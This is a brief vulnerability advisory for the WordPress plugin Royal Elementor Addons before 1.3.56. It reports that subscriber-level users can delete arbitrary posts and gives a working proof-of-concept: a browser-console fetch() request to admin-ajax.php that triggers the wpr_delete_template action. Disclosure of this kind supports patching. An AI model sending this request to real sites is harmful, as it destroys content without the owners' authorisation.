Royal Elementor Addons < 1.3.56 - Subscriber+ Arbitrary Post Deletion

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch('/wp-admin/admin-ajax.php?action=wpr_delete_template', {
       method: 'POST',
       headers: {"Content-Type": "application/x-www-form-urlencoded"},
       body: 'template_slug=hello-world&template_library=post'
});